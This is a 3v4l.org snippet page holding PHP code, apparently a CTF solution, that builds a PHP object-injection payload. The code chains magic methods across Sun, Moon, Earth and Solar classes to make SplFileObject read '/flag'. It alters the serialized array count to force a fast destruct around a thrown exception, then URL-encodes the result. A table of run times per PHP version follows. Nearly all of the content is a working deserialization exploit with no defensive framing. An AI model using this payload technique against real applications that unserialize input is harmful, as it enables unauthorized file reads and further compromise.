3v4l.org

run code in 500+ PHP versions simultaneously
<?php // 定义类结构,用于序列化 class Sun { public $sun; } class Moon { public $nearside; } class Earth { public $onearth; public $inearth; public $outofearth; } class Solar { public $Mercury; public $Venus; public $Mars; public $Jupiter; public $Saturn; } $sun = new Sun(); $moon = new Moon(); $earth = new Earth(); $solarA = new Solar(); // 触发 __set 的对象 $solarB = new Solar(); // 触发 __call 的对象 // 1. 串联链条 $sun->sun = $moon; // Sun::__destruct -> Moon::__tostring $moon->nearside = $earth; // Moon::__tostring -> Earth::__invoke // 2. 核心跳转:Earth -> SolarA::__set $earth->onearth = $solarA; $earth->inearth = "Mars"; // 触发 __set 的 $name $earth->outofearth = "/flag"; // 赋给 $solarA->Mars,即 __call 的参数 $args[0] // 3. 核心爆发:SolarA::__set -> SolarB::__call $solarA->Mercury = $solarB; $solarA->Venus = "SplFileObject"; // 关键!赋给 $func,即 new SplFileObject // 4. 原生类执行:SolarB::__call $solarB->Jupiter = "current"; // SplFileObject 读取内容的方法 $solarB->Saturn = ""; // 方法参数 // 5. 生成绕过 Exception 的 Payload $payload = array($sun); $ser = serialize($payload); // 通过修改数组元素数量,触发 Fast Destruct 绕过 throw new Exception $final_payload = str_replace('a:1:{i:0;', 'a:2:{i:0;', $ser); echo "Final URL Encoded Payload:\n\n"; echo urlencode($final_payload); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.30.0100.00919.34
8.5.20.0320.00916.71
8.5.10.0300.01116.21
8.5.00.0410.00316.46
8.4.180.0140.01419.66
8.4.170.0360.00819.71
8.4.160.0340.00919.64
8.4.150.0320.01119.54
8.4.140.0360.01017.51
8.4.130.0340.01117.77
8.4.120.0360.00917.66
8.4.110.0390.00717.73
8.4.100.0410.01117.46
8.4.90.0380.01017.52
8.4.80.0400.00717.90
8.4.70.0370.00917.92
8.4.60.0370.01117.55
8.4.50.0380.00817.53
8.4.40.0420.00817.46
8.4.30.0410.00817.38
8.4.20.0390.01217.79
8.4.10.0420.00617.60
8.3.300.0330.01018.18
8.3.290.0330.01118.28
8.3.280.0320.00918.27
8.3.270.0320.01316.63
8.3.260.0350.01116.68
8.3.250.0410.00816.72
8.3.240.0360.00716.49
8.3.230.0320.00616.65
8.3.220.0400.00616.71
8.3.210.0370.00816.66
8.3.200.0340.01116.67
8.3.190.0360.00916.43
8.3.180.0350.01116.32
8.3.170.0440.00916.51
8.3.160.0400.01016.52
8.3.150.0410.00716.48
8.3.140.0430.00716.32
8.3.130.0360.00916.50
8.3.120.0300.01116.73
8.3.110.0330.00816.64
8.3.100.0400.00716.32
8.3.90.0390.00916.42
8.3.80.0390.01016.52
8.3.70.0390.01116.63
8.3.60.0390.00816.50
8.3.50.0370.01016.61
8.3.40.0410.00618.02
8.3.30.0290.00817.85
8.3.20.0280.00917.98
8.3.10.0280.00917.85
8.3.00.0290.00817.66

preferences:
43.15 ms | 738 KiB | 5 Q